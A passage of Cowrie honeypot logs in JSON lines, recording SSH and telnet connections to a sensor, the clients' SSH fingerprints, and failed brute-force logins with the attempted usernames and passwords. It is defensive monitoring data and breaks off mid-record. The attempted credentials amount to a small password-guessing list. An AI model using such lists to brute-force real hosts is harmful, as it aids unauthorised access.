{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:27.777601Z","src_ip":"143.20.185.207","session":"7527cc115736","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS#8VCPU32GBAMD","message":"login attempt [root/undefinedVPS#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:28.252337Z","src_ip":"143.20.185.207","session":"7527cc115736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:29.434480Z","src_ip":"143.20.185.207","session":"7527cc115736","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":52532,"dst_ip":"159.203.135.109","dst_port":22,"session":"3780db307f1b","protocol":"ssh","message":"New connection: 103.172.78.219:52532 (159.203.135.109:22) [session: 3780db307f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:30.438047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:30.442615Z","src_ip":"103.172.78.219","session":"3780db307f1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:30.697048Z","src_ip":"103.172.78.219","session":"3780db307f1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16011982","message":"login attempt [root/16011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:31.460962Z","src_ip":"103.172.78.219","session":"3780db307f1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:32.716992Z","src_ip":"103.172.78.219","session":"3780db307f1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":44798,"dst_ip":"159.203.135.109","dst_port":23,"session":"73bf55fa9aff","protocol":"telnet","message":"New connection: 137.184.5.188:44798 (159.203.135.109:23) [session: 73bf55fa9aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:40.635978Z"}
{"eventid":"cowrie.session.closed","duration":35.98291516304016,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:38:16.618766Z","src_ip":"137.184.5.188","session":"73bf55fa9aff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":56914,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1e10b9cd88a","protocol":"ssh","message":"New connection: 85.215.121.209:56914 (10.17.0.5:22) [session: b1e10b9cd88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:38:51.550696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:38:51.554691Z","src_ip":"85.215.121.209","session":"b1e10b9cd88a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:38:51.647390Z","src_ip":"85.215.121.209","session":"b1e10b9cd88a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"EOS#M@st3r!P@ss","message":"login attempt [root/EOS#M@st3r!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:38:51.924914Z","src_ip":"85.215.121.209","session":"b1e10b9cd88a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00203537940979,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:38:52.624242Z","src_ip":"137.184.5.188","session":"50b229232cf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:38:53.018661Z","src_ip":"85.215.121.209","session":"b1e10b9cd88a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":60034,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b688c9a6577","protocol":"telnet","message":"New connection: 137.184.5.188:60034 (159.203.135.109:23) [session: 9b688c9a6577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:07.337845Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":49982,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b6fdd93a676","protocol":"ssh","message":"New connection: 213.202.230.81:49982 (10.17.0.5:22) [session: 1b6fdd93a676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:11.608240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:11.611878Z","src_ip":"213.202.230.81","session":"1b6fdd93a676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:11.699687Z","src_ip":"213.202.230.81","session":"1b6fdd93a676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hnt","password":"hnt456","message":"login attempt [hnt/hnt456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:11.967418Z","src_ip":"213.202.230.81","session":"1b6fdd93a676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:13.057379Z","src_ip":"213.202.230.81","session":"1b6fdd93a676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":56224,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f5046739906","protocol":"ssh","message":"New connection: 173.236.247.120:56224 (10.17.0.5:22) [session: 2f5046739906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:14.577306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:14.581094Z","src_ip":"173.236.247.120","session":"2f5046739906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:14.590279Z","src_ip":"173.236.247.120","session":"2f5046739906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satoshi789","message":"login attempt [root/satoshi789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:14.617885Z","src_ip":"173.236.247.120","session":"2f5046739906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:15.629724Z","src_ip":"173.236.247.120","session":"2f5046739906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.100.20","src_port":43258,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d55495714bf","protocol":"telnet","message":"New connection: 107.150.100.20:43258 (10.17.0.5:23) [session: 2d55495714bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:22.193066Z"}
{"eventid":"cowrie.session.closed","duration":0.004236459732055664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:22.197183Z","src_ip":"107.150.100.20","session":"2d55495714bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.100.20","src_port":43268,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e8e52b20f74","protocol":"telnet","message":"New connection: 107.150.100.20:43268 (10.17.0.5:23) [session: 5e8e52b20f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:23.336916Z"}
{"eventid":"cowrie.session.closed","duration":0.004504203796386719,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:23.341292Z","src_ip":"107.150.100.20","session":"5e8e52b20f74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.100.20","src_port":43282,"dst_ip":"10.17.0.5","dst_port":23,"session":"86e51b08801e","protocol":"telnet","message":"New connection: 107.150.100.20:43282 (10.17.0.5:23) [session: 86e51b08801e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:23.484694Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:23.488343Z","src_ip":"107.150.100.20","session":"86e51b08801e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15","password":"Accept-Charset: utf-8","message":"login attempt [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15/Accept-Charset: utf-8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:23.490818Z","src_ip":"107.150.100.20","session":"86e51b08801e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"Connection: close","message":"login attempt [Accept-Encoding: gzip/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:23.493547Z","src_ip":"107.150.100.20","session":"86e51b08801e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.0853886604309082,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:23.569864Z","src_ip":"107.150.100.20","session":"86e51b08801e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.100.20","src_port":43286,"dst_ip":"10.17.0.5","dst_port":23,"session":"07b12ab8dec3","protocol":"telnet","message":"New connection: 107.150.100.20:43286 (10.17.0.5:23) [session: 07b12ab8dec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:24.640428Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:24.644341Z","src_ip":"107.150.100.20","session":"07b12ab8dec3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15","password":"Accept-Charset: utf-8","message":"login attempt [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15/Accept-Charset: utf-8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:24.646333Z","src_ip":"107.150.100.20","session":"07b12ab8dec3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"Connection: close","message":"login attempt [Accept-Encoding: gzip/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:24.648781Z","src_ip":"107.150.100.20","session":"07b12ab8dec3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08635783195495605,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:24.726682Z","src_ip":"107.150.100.20","session":"07b12ab8dec3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.78249764442444,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:44.120240Z","src_ip":"137.184.5.188","session":"9b688c9a6577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":36882,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ce231d33b6c","protocol":"ssh","message":"New connection: 192.163.244.125:36882 (10.17.0.5:22) [session: 4ce231d33b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:51.512269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:51.516394Z","src_ip":"192.163.244.125","session":"4ce231d33b6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:51.587636Z","src_ip":"192.163.244.125","session":"4ce231d33b6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fet","password":"fet123","message":"login attempt [fet/fet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:51.802636Z","src_ip":"192.163.244.125","session":"4ce231d33b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:39:52.877121Z","src_ip":"192.163.244.125","session":"4ce231d33b6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":34518,"dst_ip":"10.17.0.5","dst_port":22,"session":"92900573876f","protocol":"ssh","message":"New connection: 143.20.185.207:34518 (10.17.0.5:22) [session: 92900573876f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:40:37.580314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:40:37.584397Z","src_ip":"143.20.185.207","session":"92900573876f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-